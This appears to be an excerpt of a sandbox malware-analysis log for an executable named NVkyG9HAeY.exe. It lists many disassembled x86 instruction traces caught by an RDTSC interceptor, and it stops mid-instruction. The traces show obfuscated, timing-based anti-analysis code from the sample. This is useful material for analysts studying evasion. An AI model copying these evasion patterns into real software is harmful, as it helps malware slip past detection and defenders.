Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79811A5 second address: 7981294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+0Ch], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF3B51FB93Eh 0x00000013 xor ah, FFFFFFE8h 0x00000016 jmp 00007FF3B51FB93Bh 0x0000001b popfd 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FF3B51FB946h 0x00000023 jmp 00007FF3B51FB945h 0x00000028 popfd 0x00000029 movzx ecx, bx 0x0000002c popad 0x0000002d popad 0x0000002e mov edx, 770206ECh 0x00000033 pushad 0x00000034 movsx edx, cx 0x00000037 popad 0x00000038 mov eax, 00000000h 0x0000003d pushad 0x0000003e push ecx 0x0000003f mov dh, C5h 0x00000041 pop esi 0x00000042 pushfd 0x00000043 jmp 00007FF3B51FB93Bh 0x00000048 adc eax, 3AE72EEEh 0x0000004e jmp 00007FF3B51FB949h 0x00000053 popfd 0x00000054 popad 0x00000055 lock cmpxchg dword ptr [edx], ecx 0x00000059 jmp 00007FF3B51FB93Eh 0x0000005e pop edi 0x0000005f pushad 0x00000060 mov di, si 0x00000063 push ecx 0x00000064 pop edi 0x00000065 popad 0x00000066 test eax, eax 0x00000068 jmp 00007FF3B51FB940h 0x0000006d jne 00007FF424819D9Dh 0x00000073 push eax 0x00000074 push edx 0x00000075 jmp 00007FF3B51FB947h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981294 second address: 798129A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798129A second address: 798129E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798129E second address: 798130A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f pushad 0x00000010 mov si, 6BB1h 0x00000014 pushfd 0x00000015 jmp 00007FF3B4EE540Eh 0x0000001a xor ch, FFFFFF88h 0x0000001d jmp 00007FF3B4EE540Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pushfd 0x00000025 jmp 00007FF3B4EE5418h 0x0000002a or cx, 2FE8h 0x0000002f jmp 00007FF3B4EE540Bh 0x00000034 popfd 0x00000035 popad 0x00000036 mov eax, dword ptr [esi] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798130A second address: 798130F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798130F second address: 798131F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, cx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [edx], eax 0x0000000c pushad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798131F second address: 798136D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 call 00007FF3B51FB948h 0x0000000a pushfd 0x0000000b jmp 00007FF3B51FB942h 0x00000010 and si, E7D8h 0x00000015 jmp 00007FF3B51FB93Bh 0x0000001a popfd 0x0000001b pop ecx 0x0000001c popad 0x0000001d mov eax, dword ptr [esi+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov bh, al 0x00000025 push edx 0x00000026 pop esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798136D second address: 79813CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF3B4EE5414h 0x00000008 pop esi 0x00000009 call 00007FF3B4EE540Bh 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [edx+04h], eax 0x00000015 jmp 00007FF3B4EE540Fh 0x0000001a mov eax, dword ptr [esi+08h] 0x0000001d jmp 00007FF3B4EE5416h 0x00000022 mov dword ptr [edx+08h], eax 0x00000025 pushad 0x00000026 mov ecx, 3207900Dh 0x0000002b push eax 0x0000002c push edx 0x0000002d mov edx, ecx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79813CC second address: 798142F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esi+0Ch] 0x0000000a pushad 0x0000000b mov di, si 0x0000000e call 00007FF3B51FB93Ah 0x00000013 mov eax, 13A102B1h 0x00000018 pop eax 0x00000019 popad 0x0000001a mov dword ptr [edx+0Ch], eax 0x0000001d pushad 0x0000001e mov ebx, 1D8A2F6Eh 0x00000023 push edx 0x00000024 mov ch, FAh 0x00000026 pop edx 0x00000027 popad 0x00000028 mov eax, dword ptr [esi+10h] 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FF3B51FB948h 0x00000032 add eax, 1C2402E8h 0x00000038 jmp 00007FF3B51FB93Bh 0x0000003d popfd 0x0000003e push eax 0x0000003f push edx 0x00000040 mov esi, 497D81F5h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798142F second address: 798149B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [edx+10h], eax 0x0000000a jmp 00007FF3B4EE540Ch 0x0000000f mov eax, dword ptr [esi+14h] 0x00000012 jmp 00007FF3B4EE5410h 0x00000017 mov dword ptr [edx+14h], eax 0x0000001a jmp 00007FF3B4EE5410h 0x0000001f mov eax, dword ptr [esi+18h] 0x00000022 jmp 00007FF3B4EE5410h 0x00000027 mov dword ptr [edx+18h], eax 0x0000002a jmp 00007FF3B4EE5410h 0x0000002f mov eax, dword ptr [esi+1Ch] 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 push edi 0x00000036 pop esi 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798149B second address: 79814A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79814A0 second address: 79814D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 call 00007FF3B4EE5417h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [edx+1Ch], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF3B4EE5412h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79814D8 second address: 79814DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79814DE second address: 79814E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79814E2 second address: 7981517 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+20h] 0x0000000e jmp 00007FF3B51FB93Eh 0x00000013 mov dword ptr [edx+20h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF3B51FB93Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981517 second address: 798151D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798151D second address: 798154B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 1D53C0B3h 0x00000008 call 00007FF3B51FB948h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esi+24h] 0x00000014 pushad 0x00000015 mov ax, bx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798154B second address: 798156E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 4D3DF2DAh 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [edx+24h], eax 0x0000000e pushad 0x0000000f mov dx, cx 0x00000012 popad 0x00000013 mov eax, dword ptr [esi+28h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF3B4EE540Bh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798156E second address: 7981587 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov edi, 43FE2C06h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx+28h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov di, si 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981587 second address: 7981676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FF3B4EE5413h 0x0000000b adc cx, 7B3Eh 0x00000010 jmp 00007FF3B4EE5419h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ecx, dword ptr [esi+2Ch] 0x0000001c pushad 0x0000001d push esi 0x0000001e pop esi 0x0000001f push edx 0x00000020 mov ebx, eax 0x00000022 pop esi 0x00000023 popad 0x00000024 mov dword ptr [edx+2Ch], ecx 0x00000027 pushad 0x00000028 push ebx 0x00000029 movzx ecx, dx 0x0000002c pop ebx 0x0000002d pushfd 0x0000002e jmp 00007FF3B4EE5410h 0x00000033 sub cl, FFFFFF98h 0x00000036 jmp 00007FF3B4EE540Bh 0x0000003b popfd 0x0000003c popad 0x0000003d mov ax, word ptr [esi+30h] 0x00000041 pushad 0x00000042 jmp 00007FF3B4EE5414h 0x00000047 call 00007FF3B4EE5412h 0x0000004c pushfd 0x0000004d jmp 00007FF3B4EE5412h 0x00000052 xor si, 5758h 0x00000057 jmp 00007FF3B4EE540Bh 0x0000005c popfd 0x0000005d pop esi 0x0000005e popad 0x0000005f mov word ptr [edx+30h], ax 0x00000063 jmp 00007FF3B4EE540Fh 0x00000068 mov ax, word ptr [esi+32h] 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007FF3B4EE5415h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981676 second address: 798169E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [edx+32h], ax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF3B51FB93Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798169E second address: 79816A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79816A4 second address: 79816A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79816A8 second address: 7981720 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+34h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF3B4EE5415h 0x00000012 sub esi, 34BAB066h 0x00000018 jmp 00007FF3B4EE5411h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FF3B4EE5410h 0x00000024 add ecx, 168FF008h 0x0000002a jmp 00007FF3B4EE540Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov dword ptr [edx+34h], eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FF3B4EE5415h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981720 second address: 7981726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981726 second address: 798172A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798172A second address: 7981760 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB943h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ecx, 00000700h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF3B51FB945h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981760 second address: 7981766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981766 second address: 798176A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798176A second address: 798176E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798176E second address: 79817CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FF4248198D7h 0x0000000e jmp 00007FF3B51FB93Fh 0x00000013 or dword ptr [edx+38h], FFFFFFFFh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov esi, edx 0x0000001c pushfd 0x0000001d jmp 00007FF3B51FB947h 0x00000022 xor si, 911Eh 0x00000027 jmp 00007FF3B51FB949h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79817CC second address: 798182E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or dword ptr [edx+3Ch], FFFFFFFFh 0x0000000d jmp 00007FF3B4EE540Eh 0x00000012 or dword ptr [edx+40h], FFFFFFFFh 0x00000016 pushad 0x00000017 mov cx, 3E1Dh 0x0000001b pushfd 0x0000001c jmp 00007FF3B4EE540Ah 0x00000021 jmp 00007FF3B4EE5415h 0x00000026 popfd 0x00000027 popad 0x00000028 pop esi 0x00000029 pushad 0x0000002a mov ax, 6E43h 0x0000002e mov edi, ecx 0x00000030 popad 0x00000031 pop ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798182E second address: 7981832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7981832 second address: 7981849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5413h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0BAD second address: 79D0BF3 instructions: 0x00000000 rdtsc 0x00000002 mov ax, 282Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007FF3B51FB944h 0x0000000e and esi, 598DA558h 0x00000014 jmp 00007FF3B51FB93Bh 0x00000019 popfd 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 movsx edx, si 0x00000023 call 00007FF3B51FB93Ch 0x00000028 pop ecx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7970866 second address: 7970875 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79100AF second address: 79100B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79100B3 second address: 79100B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7910655 second address: 791067A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF3B51FB93Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 791067A second address: 7910680 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7910680 second address: 7910684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7910684 second address: 79106A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5413h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79106A4 second address: 79106A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79106A8 second address: 79106AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79106AC second address: 79106B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79106B2 second address: 7910707 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF3B4EE5413h 0x00000009 sbb eax, 51D1A89Eh 0x0000000f jmp 00007FF3B4EE5419h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FF3B4EE5418h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7910AD8 second address: 7910ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7910ADE second address: 7910AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7910AE2 second address: 7910B07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a call 00007FF3B51FB949h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7910B07 second address: 7910B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], ebp 0x00000009 jmp 00007FF3B4EE540Dh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF3B4EE540Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7960B15 second address: 7960B43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF3B51FB941h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7960B43 second address: 7960B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7960B47 second address: 7960B5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 794001B second address: 794010B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF3B4EE5412h 0x00000008 xor cx, 2908h 0x0000000d jmp 00007FF3B4EE540Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov si, C37Fh 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c call 00007FF3B4EE5410h 0x00000021 call 00007FF3B4EE5412h 0x00000026 pop esi 0x00000027 pop edx 0x00000028 call 00007FF3B4EE5410h 0x0000002d call 00007FF3B4EE5412h 0x00000032 pop esi 0x00000033 pop ebx 0x00000034 popad 0x00000035 push eax 0x00000036 jmp 00007FF3B4EE5411h 0x0000003b xchg eax, ebp 0x0000003c pushad 0x0000003d mov eax, 7AD6FBC3h 0x00000042 mov edx, ecx 0x00000044 popad 0x00000045 mov ebp, esp 0x00000047 jmp 00007FF3B4EE5412h 0x0000004c and esp, FFFFFFF0h 0x0000004f jmp 00007FF3B4EE5410h 0x00000054 sub esp, 44h 0x00000057 jmp 00007FF3B4EE5410h 0x0000005c xchg eax, ebx 0x0000005d jmp 00007FF3B4EE5410h 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007FF3B4EE540Eh 0x0000006a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 794010B second address: 7940132 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FF3B51FB941h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7940132 second address: 7940142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3B4EE540Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7940142 second address: 794017B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FF3B51FB949h 0x00000011 pop esi 0x00000012 call 00007FF3B51FB941h 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 794017B second address: 79401D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF3B4EE540Ch 0x00000008 pop esi 0x00000009 mov si, dx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], esi 0x00000012 pushad 0x00000013 mov bh, 11h 0x00000015 pushfd 0x00000016 jmp 00007FF3B4EE5414h 0x0000001b or esi, 5D3E9BF8h 0x00000021 jmp 00007FF3B4EE540Bh 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, edi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FF3B4EE5410h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79401D4 second address: 79401D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79401D8 second address: 79401DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79401DE second address: 79401E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79401E4 second address: 79401E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79401E8 second address: 7940205 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF3B51FB942h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7940205 second address: 794028C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c pushad 0x0000000d mov ecx, 181ABD0Bh 0x00000012 mov ah, 1Eh 0x00000014 popad 0x00000015 mov edi, dword ptr [ebp+08h] 0x00000018 pushad 0x00000019 mov dx, C82Ch 0x0000001d mov edi, 1C373B18h 0x00000022 popad 0x00000023 mov dword ptr [esp+24h], 00000000h 0x0000002b pushad 0x0000002c call 00007FF3B4EE540Dh 0x00000031 mov edx, eax 0x00000033 pop ecx 0x00000034 pushfd 0x00000035 jmp 00007FF3B4EE540Dh 0x0000003a and ecx, 0003A4B6h 0x00000040 jmp 00007FF3B4EE5411h 0x00000045 popfd 0x00000046 popad 0x00000047 lock bts dword ptr [edi], 00000000h 0x0000004c jmp 00007FF3B4EE540Eh 0x00000051 jc 